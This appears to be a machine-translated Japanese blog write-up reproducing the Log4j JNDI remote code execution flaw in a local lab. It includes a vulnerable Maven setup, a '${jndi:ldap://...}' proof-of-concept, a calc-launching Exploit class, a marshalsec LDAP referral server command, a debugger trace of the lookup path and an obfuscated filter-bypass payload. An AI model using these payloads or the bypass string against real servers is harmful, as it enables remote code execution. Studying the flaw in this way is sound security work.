Log4j リモートコード実行の脆弱性

Log4j リモートコード実行の脆弱性

序章

脆弱性の説明

Apache Log4j は Apache のオープンソース プロジェクトです Apache log4j-2 は Log4j のアップグレード版です ログ情報の送信先をコンソール、ファイル、GUI コンポーネントなどで制御できます 各ログ情報のレベルを定義することで、詳細 ログ生成プロセスを制御します。

Log4j-2 には JNDI インジェクションの脆弱性があり、ユーザーが入力したデータをプログラムがログに記録する際にこの脆弱性が引き起こされ、この脆弱性が悪用されると、ターゲット サーバー上で任意のコードが実行される可能性があります。

脆弱性の原則

log4j によって出力されるログの内容に ${jndi:ldap://ip} が含まれている場合、プログラムは Idap プロトコルを通じて ip のアドレスにアクセスし、ip は Java コードを含むクラス ファイルのアドレスを返し、その後、プログラムは通過します。返されたアドレスはクラスファイルをダウンロードして実行します。

影響範囲

Apache Log4j 2.x < 2.15.0-rc2。

脆弱性の再発

Vscode は Maven プロジェクトを作成し、依存関係とpom.xmlコンテンツをインポートします。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>com.example</groupId>
    <artifactId>Log4j</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.14.1</version>
        </dependency>
    </dependencies>
</project>

poc をビルドして脆弱性をテストします。実際には、logger.error のパラメータが Web サイトの入力パラメータになります。ここでは poc を直接テストに入力します。

// LogOut.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class LogOut {
    public static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

悪意のあるスクリプト Exploit.java を構築する

//Exploit.java
public class Exploit {
    public static void main(String[] args) throws Exception {
        System.out.println("Hello, World!");
        try{
            String cmd="calc";
            Runtime.getRuntime().exec(cmd);
        } catch(Exception e){
            e.printStackTrace();
        }
    }
}

クラスファイルにコンパイルします。

javac Exploit.java

LDAP サービスを構築するには、marshalsec-0.0.3-SNAPSHOT-all.jar をダウンロードする必要があります

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

画像-20220907125517077

主な機能:

画像-20220908194454201

workingBuilder は入力文字列をオフセットに保存します。ここでは、${jndi:ldap://localhost:1389/Exploit}for ループが入力文字列全体を走査して入力文字列を見つけていることがわかります${

フォローアップthis.config.getStrSubstitutor().replace(event, value)

画像-20220908195007215

置換関数のフォローアップを続けます。

画像-20220908195914186

デバッガを見ればprefixMatcher=${ suffixMatcher=}次のことがわかりますvalueDelimiterString=:-

画像-20220908195949964

最後に、${ 合計を照合した後}${jndi:ldap://localhost:1389/Exploit}中間コンテンツが正常に抽出されます。jndi:ldap://localhost:1389/Exploit

画像-20220908200922868

以下は:-キー関数this.resolveVariable()が になるまでは全て同等の処理ですvarNamejndi:ldap://localhost:1389/Exploit

画像-20220908201926090

継続フォロー、キャッシュバックlookup機能

画像-20220908201832510

lookup 関数が実装できるさまざまなクラスには jndi が含まれており、もちろん他のメソッドも使用していることがわかります。

画像-20220908202643331

最終的に、jndi インジェクションがトリガーされます。

同時に、ここで逆アセンブリとアセンブリの操作が実行され、ソース文字列に${::-j}変更されてj再マージされようとしていることがわかります。これがバイパスの基本原理です。

画像-20220908210740930

ここではマッチング関数が表示されます。 isMatch will match です:-

画像-20220908212023212

バイパス

上記の分析から、実際には、j が存在する限り:-、バイパスすることができます。たとえば${${a:-j}${b:-n}${c:-d}${d:-i}:${.:-l}${,:-d}${::-a}${::-p}://localhost:1389/Exploit}、もちろん、これはバイパスの最も原始的なバージョンにすぎず、最新バージョンはまだ研究されていません。
( ̄y▽, ̄)╭

おすすめ

転載: blog.csdn.net/weixin_44411509/article/details/126968478